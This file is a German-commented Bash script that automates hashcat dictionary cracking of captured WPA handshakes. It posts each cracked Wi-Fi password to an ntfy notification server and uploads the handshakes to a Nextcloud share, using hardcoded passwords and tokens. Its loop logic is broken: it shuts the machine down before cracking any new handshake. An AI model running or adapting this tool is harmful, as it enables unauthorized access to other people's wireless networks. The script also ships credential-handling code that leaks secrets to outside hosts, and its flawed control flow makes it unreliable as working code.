Long_press/crack_handshakes.sh

80 lines
3.4 KiB
Bash

#!/bin/bash
# Verzeichnisse definieren
handshake_dir="/root/handshakes/test/"
wordlist="/media/michaelis/Games/Wordlists/wpa.txt"
output_dir="$handshake_dir/output"
cracked_dir="$handshake_dir/cracked"
not_cracked_dir="$handshake_dir/not_cracked"
session_file="$handshake_dir/hashcat.restore"
# Nextcloud WebDAV-Einstellungen
nextcloud_url="https://cloud.michaelis.digital/remote.php/dav/files/Michaelis/PenTest/grabz/"
username="Michaelis"
password="BD2KS-izswe-gGBJA-Pas9G-M8tKR"
# Prüfen, ob eine Hashcat-Sitzung wiederhergestellt werden kann
if [ -f "$session_file" ]; then
echo "Eine Hashcat-Sitzung wird wiederhergestellt..."
hashcat --restore "$session_file"
fi
# Erstelle Ausgabe- und Ergebnisordner, falls nicht vorhanden
mkdir -p "$output_dir" "$cracked_dir" "$not_cracked_dir"
bruteforce_handshake() {
local total_handshakes=$(find "$handshake_dir" -maxdepth 1 -type f -name '*.22000' | wc -l)
local current_handshake=0
# Durch alle Handshakes gehen
for handshake in "$handshake_dir"/*.22000; do
((current_handshake++))
handshake_filename=$(basename "$handshake")
network_name="${handshake_filename%.22000}"
# Überspringe Handshakes, die bereits bearbeitet wurden
if [ -f "$cracked_dir/$handshake_filename" ] || [ -f "$not_cracked_dir/$handshake_filename" ]; then
echo "Handshake $handshake_filename wurde bereits bearbeitet, überspringen..."
continue
else
curl -H "Priority:High" -d "Alle Handshakes bearbeitet" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali
shutdown -h now
fi
# Benachrichtigung: Neuer Handshake gestartet
curl -H "Priority:High" -d "Neuer Handshake gestartet: $network_name ($current_handshake von $total_handshakes)" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali
# Hochladen des Verzeichnisses auf Nextcloud
curl -X PUT -u "$username:$password" --data-binary @"$handshake_dir" "$nextcloud_url"
# Variable zum Überprüfen, ob der Handshake geknackt wurde
local cracked=false
# Handshake knacken
hashcat -m 22000 -a 0 -o "$output_dir/cracked.txt" "$handshake" "$wordlist" -w 3 --status
# Überprüfen, ob das Passwort gefunden wurde
if grep -q "$network_name" "$output_dir/cracked.txt"; then
echo "Passwort für $network_name gefunden"
echo "Netzwerk: $network_name, Passwort: $(grep "$network_name" "$output_dir/cracked.txt" | cut -d: -f2)" >> "$output_dir/results.txt"
mv "$handshake" "$cracked_dir/"
cracked=true
# Benachrichtigung: Handshake geknackt
curl -H "Priority:High" -d "Passwort für $network_name gefunden: $(grep "$network_name" "$output_dir/cracked.txt" | cut -d: -f2)" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali
fi
# Wenn der Handshake nicht geknackt wurde, verschiebe ihn in den not_cracked Ordner
if [ "$cracked" = false ]; then
echo "Passwort für $network_name nicht gefunden"
mv "$handshake" "$not_cracked_dir/"
# Benachrichtigung: Handshake nicht geknackt
curl -H "Priority:High" -d "Passwort für $network_name nicht gefunden" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali
fi
done
}
# Main
bruteforce_handshake